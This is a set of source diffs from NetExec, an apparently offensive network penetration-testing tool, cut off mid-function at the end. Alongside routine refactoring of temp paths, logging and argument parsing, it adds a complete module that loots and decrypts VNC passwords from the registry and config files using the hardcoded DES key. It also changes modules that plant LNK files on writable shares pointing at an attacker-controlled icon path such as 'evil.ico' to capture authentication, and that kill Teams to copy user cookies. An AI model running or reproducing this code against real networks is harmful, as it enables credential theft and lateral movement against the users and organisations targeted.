ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
|
||||
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
|
||||
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
|
||||
CLEANUP Cleanup (choices: True or False)
|
||||
"""
|
||||
self.cleanup = False
|
||||
@@ -46,6 +48,10 @@ class NXCModule:
|
||||
if "SHARES" in module_options:
|
||||
self.shares = module_options["SHARES"].split(",")
|
||||
context.log.debug(f"Shares to write to: {self.shares}")
|
||||
|
||||
if "IGNORE" in module_options:
|
||||
self.ignore_shares = module_options["IGNORE"].split(",")
|
||||
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
|
||||
|
||||
if not self.cleanup and "SERVER" not in module_options:
|
||||
context.log.fail("SERVER option is required!")
|
||||
@@ -57,12 +63,12 @@ class NXCModule:
|
||||
|
||||
|
||||
self.lnk_name = module_options["NAME"]
|
||||
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
|
||||
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
|
||||
self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
|
||||
self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
|
||||
|
||||
if not self.cleanup:
|
||||
self.server = module_options["SERVER"]
|
||||
link = pylnk3.create(self.lnk_path)
|
||||
link = pylnk3.create(self.local_lnk_path)
|
||||
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
|
||||
link.save()
|
||||
|
||||
@@ -73,23 +79,22 @@ class NXCModule:
|
||||
context.log.add_file_log(slinky_logger)
|
||||
|
||||
for share in shares:
|
||||
# TODO: these can be written to - add an option to override these
|
||||
if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
|
||||
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
|
||||
if self.shares is not None and share["name"] not in self.shares:
|
||||
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
|
||||
continue
|
||||
|
||||
context.log.success(f"Found writable share: {share['name']}")
|
||||
if not self.cleanup:
|
||||
with open(self.lnk_path, "rb") as lnk:
|
||||
with open(self.local_lnk_path, "rb") as lnk:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.file_path, lnk.read)
|
||||
connection.conn.putFile(share["name"], self.remote_file_path, lnk.read)
|
||||
context.log.success(f"Created LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
|
||||
else:
|
||||
try:
|
||||
connection.conn.deleteFile(share["name"], self.file_path)
|
||||
connection.conn.deleteFile(share["name"], self.remote_file_path)
|
||||
context.log.success(f"Deleted LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
|
||||
+16
-14
@@ -1,8 +1,10 @@
|
||||
import json
|
||||
import errno
|
||||
import os
|
||||
from os.path import abspath, join, split, exists, splitext, getsize, sep
|
||||
from os import makedirs, remove, stat
|
||||
import time
|
||||
import traceback
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.protocols.smb.remotefile import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
from impacket.smbconnection import SessionError
|
||||
@@ -36,7 +38,7 @@ def human_time(timestamp):
|
||||
def make_dirs(path):
|
||||
"""Creates directories at the given path. It handles the exception `os.errno.EEXIST` that may occur if the directories already exist."""
|
||||
try:
|
||||
os.makedirs(path)
|
||||
makedirs(path)
|
||||
except OSError as e:
|
||||
if e.errno != errno.EEXIST:
|
||||
raise
|
||||
@@ -170,13 +172,13 @@ class SMBSpiderPlus:
|
||||
The folder path and filename are then obtained separately.
|
||||
"""
|
||||
# Remove the backslash before the remote host part and replace slashes with the appropriate path separator
|
||||
remote_file_path = str(remote_file)[2:].replace("/", os.path.sep).replace("\\", os.path.sep)
|
||||
remote_file_path = str(remote_file)[2:].replace("/", sep).replace("\\", sep)
|
||||
|
||||
# Split the path to obtain the folder path and the filename
|
||||
folder, filename = os.path.split(remote_file_path)
|
||||
folder, filename = split(remote_file_path)
|
||||
|
||||
# Join the output folder with the folder path to get the final local folder path
|
||||
folder = os.path.join(self.output_folder, folder)
|
||||
folder = join(self.output_folder, folder)
|
||||
|
||||
return folder, filename
|
||||
|
||||
@@ -283,7 +285,7 @@ class SMBSpiderPlus:
|
||||
return
|
||||
|
||||
# Check file extension filter.
|
||||
_, file_extension = os.path.splitext(file_path)
|
||||
_, file_extension = splitext(file_path)
|
||||
if file_extension:
|
||||
self.stats["file_exts"].add(file_extension.lower())
|
||||
if file_extension.lower() in self.exclude_exts:
|
||||
@@ -306,10 +308,10 @@ class SMBSpiderPlus:
|
||||
|
||||
# Check if the file is already downloaded and up-to-date.
|
||||
file_dir, file_name = self.get_file_save_path(remote_file)
|
||||
download_path = os.path.join(file_dir, file_name)
|
||||
download_path = join(file_dir, file_name)
|
||||
needs_update_flag = False
|
||||
if os.path.exists(download_path):
|
||||
if file_modified_time <= os.stat(download_path).st_mtime and os.path.getsize(download_path) == file_size:
|
||||
if exists(download_path):
|
||||
if file_modified_time <= stat(download_path).st_mtime and getsize(download_path) == file_size:
|
||||
self.logger.info(f'File already downloaded "{file_path}" => "{download_path}".')
|
||||
self.stats["num_files_unmodified"] += 1
|
||||
return
|
||||
@@ -348,7 +350,7 @@ class SMBSpiderPlus:
|
||||
remote_file.seek(0, 0)
|
||||
|
||||
folder, filename = self.get_file_save_path(remote_file)
|
||||
download_path = os.path.join(folder, filename)
|
||||
download_path = join(folder, filename)
|
||||
|
||||
# Create the subdirectories based on the share name and file path.
|
||||
self.logger.debug(f"Creating folder '{folder}'")
|
||||
@@ -365,8 +367,8 @@ class SMBSpiderPlus:
|
||||
self.logger.fail(f'Error writing file "{download_path}" from share "{share_name}": {e}')
|
||||
|
||||
# Check if the file is empty and should not be.
|
||||
if os.path.getsize(download_path) == 0 and remote_file.get_filesize() > 0:
|
||||
os.remove(download_path)
|
||||
if getsize(download_path) == 0 and remote_file.get_filesize() > 0:
|
||||
remove(download_path)
|
||||
remote_path = str(remote_file)[2:]
|
||||
self.logger.fail(f'Unable to download file "{remote_path}".')
|
||||
|
||||
@@ -375,7 +377,7 @@ class SMBSpiderPlus:
|
||||
|
||||
The results are formatted with indentation and sorted keys before being written to the file.
|
||||
"""
|
||||
metadata_path = os.path.join(self.output_folder, f"{self.host}.json")
|
||||
metadata_path = join(self.output_folder, f"{self.host}.json")
|
||||
try:
|
||||
with open(metadata_path, "w", encoding="utf-8") as fd:
|
||||
fd.write(json.dumps(results, indent=4, sort_keys=True))
|
||||
@@ -498,7 +500,7 @@ class NXCModule:
|
||||
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
|
||||
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
|
||||
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
|
||||
self.output_folder = module_options.get("OUTPUT_FOLDER", os.path.join("/tmp", "nxc_spider_plus"))
|
||||
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Started module spidering_plus with the following options:")
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
import sqlite3
|
||||
from nxc.paths import TMP_PATH
|
||||
from os.path import abspath, join
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -16,7 +18,7 @@ class NXCModule:
|
||||
connection.execute("taskkill /F /T /IM teams.exe")
|
||||
found = 0
|
||||
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
|
||||
with open("/tmp/teams_cookies2.txt", "wb") as f:
|
||||
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
|
||||
for path in paths:
|
||||
try:
|
||||
connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
|
||||
@@ -37,7 +39,7 @@ class NXCModule:
|
||||
@staticmethod
|
||||
def parse_file(context, name):
|
||||
try:
|
||||
conn = sqlite3.connect("/tmp/teams_cookies2.txt")
|
||||
conn = sqlite3.connect(abspath(join(TMP_PATH, "teams_cookies2.txt")))
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
|
||||
row = c.fetchone()
|
||||
|
||||
@@ -0,0 +1,285 @@
|
||||
import ntpath
|
||||
import tempfile
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket import winregistry
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.system_errors import ERROR_NO_MORE_ITEMS
|
||||
|
||||
from Cryptodome.Cipher import DES
|
||||
from binascii import unhexlify
|
||||
import codecs
|
||||
import re
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Loot VNC Passwords
|
||||
Module by @_zblurx
|
||||
"""
|
||||
|
||||
name = "vnc"
|
||||
description = "Loot Passwords from VNC server and client configurations"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.vnc_decryption_key = b"\xe8\x4a\xd6\x60\xc4\x72\x1a\xe0"
|
||||
self.false_positive = (
|
||||
".",
|
||||
"..",
|
||||
"desktop.ini",
|
||||
"Public",
|
||||
"Default",
|
||||
"Default User",
|
||||
"All Users",
|
||||
)
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO_REMOTEOPS Do not use RemoteRegistry. Will not dump RealVNC, ThighVNC and TigerVNC passwords. Default is False"""
|
||||
self.no_remoteops = False
|
||||
if "NO_REMOTEOPS" in module_options and "True" in module_options["NO_REMOTEOPS"]:
|
||||
self.no_remoteops = True
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = self.connection.args.share
|
||||
|
||||
host = connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
|
||||
if not self.no_remoteops:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
self.vnc_from_registry(remote_ops)
|
||||
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
|
||||
self.vnc_from_filesystem(dploot_conn)
|
||||
|
||||
def upgrade_connection(self, target: Target, connection=None):
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
else:
|
||||
conn.connect()
|
||||
return conn
|
||||
|
||||
def reg_query_value(self, remote_ops, path, key, hku=False):
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
path,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
data = None
|
||||
try:
|
||||
_, data = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
key,
|
||||
)
|
||||
return data
|
||||
except rrp.DCERPCSessionError as e:
|
||||
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
|
||||
|
||||
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
|
||||
vnc_client_softwares = [
|
||||
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
|
||||
]
|
||||
users = self.get_users(remote_ops)
|
||||
for user, sid in users.items():
|
||||
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
|
||||
try:
|
||||
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
|
||||
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
|
||||
cred = {}
|
||||
if ntuser_dat_bytes is None and remote_ops is not None:
|
||||
user_registry_path = ntpath.join(sid, registry_path)
|
||||
try:
|
||||
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
|
||||
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
|
||||
continue
|
||||
else:
|
||||
fh = tempfile.NamedTemporaryFile()
|
||||
fh.write(ntuser_dat_bytes)
|
||||
fh.seek(0)
|
||||
reg = winregistry.Registry(fh.name, isRemote=False)
|
||||
parent_key = reg.findKey(registry_path)
|
||||
if parent_key is None:
|
||||
continue
|
||||
cred["user"] = reg.getValue(ntpath.join(registry_path, registry_keys[0]))[1].decode("latin-1")
|
||||
password = reg.getValue(ntpath.join(registry_path, registry_keys[1]))[1].decode("utf-16le").rstrip("\0").encode()
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
|
||||
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
|
||||
def vnc_from_registry(self, remote_ops):
|
||||
vncs = (
|
||||
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
|
||||
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
|
||||
("RealVNC 4.x", "SOFTWARE\\RealVNC\\WinVNC4", "Password"),
|
||||
("TightVNC", "Software\\TightVNC\\Server", "Password"),
|
||||
("TightVNC ControlPassword", "Software\\TightVNC\\Server", "ControlPassword"),
|
||||
("TightVNC", "Software\\TightVNC\\Server", "PasswordViewOnly"),
|
||||
)
|
||||
for vnc_name, path, key in vncs:
|
||||
try:
|
||||
value = self.reg_query_value(remote_ops, path, key)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
|
||||
continue
|
||||
if value is None:
|
||||
continue
|
||||
value = value.rstrip(b"\x00")
|
||||
password = self.recover_vncpassword(value)
|
||||
if password is None:
|
||||
continue
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
|
||||
vnc_users = (
|
||||
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
|
||||
)
|
||||
for vnc_name, path, user, password, server in vnc_users:
|
||||
cred = {}
|
||||
try:
|
||||
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
|
||||
value = unhexlify(value)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
|
||||
continue
|
||||
if value is None:
|
||||
continue
|
||||
cred["password"] = self.recover_vncpassword(value).decode()
|
||||
try:
|
||||
cred["server"] = self.reg_query_value(remote_ops, path, server)
|
||||
cred["user"] = self.reg_query_value(remote_ops, path, user)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
|
||||
continue
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
|
||||
def split_len(self, seq, length):
|
||||
return [seq[i:i + length] for i in range(0, len(seq), length)]
|
||||
|
||||
def recover_vncpassword(self, cipher: bytes):
|
||||
encpasswd = cipher.hex()
|
||||
pwd = None
|
||||
if encpasswd:
|
||||
# If the hex encoded passwd length is longer than 16 hex chars and divisible
|
||||
# by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
|
||||
# (1 hex char = 4 binary bits = 1 nibble)
|
||||
hexpasswd = bytes.fromhex(encpasswd)
|
||||
if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
|
||||
splitstr = self.split_len(codecs.encode(cipher, "hex"), 16)
|
||||
cryptedblocks = []
|
||||
for sblock in splitstr:
|
||||
cryptedblocks.append(self.decrypt_password(codecs.decode(sblock, "hex")))
|
||||
pwd = b"".join(cryptedblocks)
|
||||
elif len(hexpasswd) <= 16:
|
||||
pwd = self.decrypt_password(cipher)
|
||||
else:
|
||||
pwd = self.decrypt_password(cipher)
|
||||
return pwd
|
||||
|
||||
def decrypt_password(self, password: bytes):
|
||||
length = len(password)
|
||||
try:
|
||||
if length <= 16:
|
||||
password += b"\x00" * (16 - length)
|
||||
cipher = DES.new(key=self.vnc_decryption_key, mode=DES.MODE_ECB)
|
||||
return cipher.decrypt(password)[:length]
|
||||
except Exception as ex:
|
||||
self.context.log.debug(f"Error while decrypting VNC password {password}: {ex}")
|
||||
|
||||
def vnc_from_filesystem(self, dploot_conn):
|
||||
vncs = (
|
||||
("UltraVNC", "Program Files (x86)\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
|
||||
("UltraVNC", "Program Files\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
|
||||
("UltraVNC", "Program Files\\UltraVNC\\ultravnc.ini"),
|
||||
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
|
||||
)
|
||||
|
||||
for vnc_name, file in vncs:
|
||||
file_content = dploot_conn.readFile(self.share, file)
|
||||
if file_content is not None:
|
||||
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
|
||||
for regex in regex_passwd:
|
||||
passwds_encrypted = re.findall(regex, file_content)
|
||||
for passwd_encrypted in passwds_encrypted:
|
||||
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
|
||||
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
|
||||
def get_users(self, conn):
|
||||
users = {}
|
||||
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
|
||||
|
||||
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
sids = []
|
||||
|
||||
i = 0
|
||||
while True:
|
||||
try:
|
||||
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
|
||||
sids.append(ans2["lpNameOut"])
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
|
||||
break
|
||||
except Exception as e:
|
||||
self.context.debug(f"Error while listing users from HKU: {e}")
|
||||
i += 1
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
for sid in sids:
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
|
||||
if r"%systemroot%" in profile_path:
|
||||
continue
|
||||
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
|
||||
return users
|
||||
+15
-33
@@ -28,17 +28,6 @@ REG_VALUE_TYPE_32BIT_BE = 5
|
||||
REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE = 7
|
||||
REG_VALUE_TYPE_64BIT_LE = 11
|
||||
|
||||
# Setup file logger
|
||||
if "wcc_logger" not in globals():
|
||||
wcc_logger = logging.getLogger("WCC")
|
||||
wcc_logger.propagate = False
|
||||
log_filename = nxc_logger.init_log_file()
|
||||
log_filename = log_filename.replace("log_", "wcc_")
|
||||
wcc_logger.setLevel(logging.INFO)
|
||||
wcc_file_handler = logging.FileHandler(log_filename)
|
||||
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
|
||||
wcc_logger.addHandler(wcc_file_handler)
|
||||
|
||||
|
||||
class ConfigCheck:
|
||||
"""Class for performing the checks and holding the results"""
|
||||
@@ -75,7 +64,7 @@ class ConfigCheck:
|
||||
def log(self, context):
|
||||
result = "passed" if self.ok else "did not pass"
|
||||
reasons = ", ".join(self.reasons)
|
||||
wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
|
||||
self.module.wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
|
||||
if self.module.quiet:
|
||||
return
|
||||
|
||||
@@ -99,6 +88,19 @@ class NXCModule:
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
self.wcc_logger = logging.getLogger("WCC")
|
||||
self.wcc_logger.propagate = False
|
||||
log_filename = nxc_logger.init_log_file()
|
||||
log_filename = log_filename.replace("log_", "wcc_")
|
||||
self.wcc_logger.setLevel(logging.INFO)
|
||||
wcc_file_handler = logging.FileHandler(log_filename)
|
||||
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
|
||||
self.wcc_logger.addHandler(wcc_file_handler)
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -156,15 +158,9 @@ class HostChecker:
|
||||
self.dce = remoteOps._RemoteOperations__rrp
|
||||
|
||||
def run(self):
|
||||
# Prepare checks
|
||||
self.init_checks()
|
||||
|
||||
# Perform checks
|
||||
self.check_config()
|
||||
|
||||
# Check methods #
|
||||
#################
|
||||
|
||||
|
||||
def init_checks(self):
|
||||
# Declare the checks to do and how to do them
|
||||
self.checks = [
|
||||
@@ -483,9 +479,6 @@ class HostChecker:
|
||||
|
||||
return success, reasons
|
||||
|
||||
# Methods for getting values from the remote registry #
|
||||
#######################################################
|
||||
|
||||
def _open_root_key(self, dce, connection, root_key):
|
||||
ans = None
|
||||
retries = 1
|
||||
@@ -595,9 +588,6 @@ class HostChecker:
|
||||
return data
|
||||
return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
|
||||
|
||||
# Methods for getting values from SAMR and SCM #
|
||||
################################################
|
||||
|
||||
def get_service(self, service_name, connection):
|
||||
"""Get the service status and configuration for specified service"""
|
||||
remoteOps = RemoteOperations(smbConnection=connection.conn, doKerberos=False)
|
||||
@@ -645,23 +635,15 @@ class HostChecker:
|
||||
self.context.log.error(f"ls(): C:\\{path} {e}\n")
|
||||
return file_listing
|
||||
|
||||
|
||||
# Comparison operators #
|
||||
########################
|
||||
|
||||
|
||||
def le(reg_sz_string, number):
|
||||
return int(reg_sz_string[:-1]) <= number
|
||||
|
||||
|
||||
def in_(obj, seq):
|
||||
return obj in seq
|
||||
|
||||
|
||||
def startswith(string, start):
|
||||
return string.startswith(start)
|
||||
|
||||
|
||||
def not_(boolean_operator):
|
||||
def wrapper(*args, **kwargs):
|
||||
return not boolean_operator(*args, **kwargs)
|
||||
|
||||
+1
-1
@@ -51,7 +51,7 @@ class NXCModule:
|
||||
|
||||
masterkeys = []
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(target=target, conn=conn)
|
||||
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={})
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
@@ -23,6 +23,8 @@ from os.path import join as path_join
|
||||
from sys import exit
|
||||
from rich.progress import Progress
|
||||
import platform
|
||||
if sys.stdout.encoding == "cp1252":
|
||||
sys.stdout.reconfigure(encoding="utf-8")
|
||||
|
||||
# Increase file_limit to prevent error "Too many open files"
|
||||
if platform.system() != "Windows":
|
||||
|
||||
+3
-2
@@ -3,11 +3,12 @@ import sys
|
||||
import nxc
|
||||
|
||||
NXC_PATH = os.path.expanduser("~/.nxc")
|
||||
TMP_PATH = os.path.join("/tmp", "nxc_hosted")
|
||||
if os.name == "nt":
|
||||
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted"
|
||||
if hasattr(sys, "getandroidapilevel"):
|
||||
elif hasattr(sys, "getandroidapilevel"):
|
||||
TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted")
|
||||
else:
|
||||
TMP_PATH = os.path.join("/tmp", "nxc_hosted")
|
||||
|
||||
CERT_PATH = os.path.join(NXC_PATH, "nxc.pem")
|
||||
CONFIG_PATH = os.path.join(NXC_PATH, "nxc.conf")
|
||||
|
||||
@@ -3,7 +3,7 @@ from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table, select, delete, func
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -86,7 +86,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=[std_parser, module_parser])
|
||||
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)")
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
|
||||
cgroup = ftp_parser.add_argument_group("FTP Access", "Options for enumerating your access")
|
||||
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory, ex: --ls or --ls Directory")
|
||||
cgroup.add_argument("--get", metavar="FILE", help="Download a file, ex: --get fileName.txt")
|
||||
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file, ex: --put inputFileName.txt outputFileName.txt")
|
||||
|
||||
def proto_args(parser, parents):
|
||||
ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=parents, formatter_class=DisplayDefaultsNotNone)
|
||||
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port")
|
||||
|
||||
cgroup = ftp_parser.add_argument_group("File Operations", "Options for enumerating and interacting with files on the target")
|
||||
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory")
|
||||
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
|
||||
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
|
||||
return parser
|
||||
+34
-3
@@ -28,6 +28,7 @@ from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
|
||||
from impacket.krb5.types import Principal, KerberosException
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap.ldap import LDAPFilterSyntaxError
|
||||
from impacket.smb import SMB_DIALECT
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
|
||||
@@ -1054,6 +1055,36 @@ class ldap(connection):
|
||||
self.logger.highlight("No entries found!")
|
||||
self.logger.fail("Error with the LDAP account used")
|
||||
|
||||
def query(self):
|
||||
"""
|
||||
Query the LDAP server with the specified filter and attributes.
|
||||
Example usage:
|
||||
--query "(sAMAccountName=Administrator)" "sAMAccountName pwdLastSet memberOf"
|
||||
"""
|
||||
search_filter = self.args.query[0]
|
||||
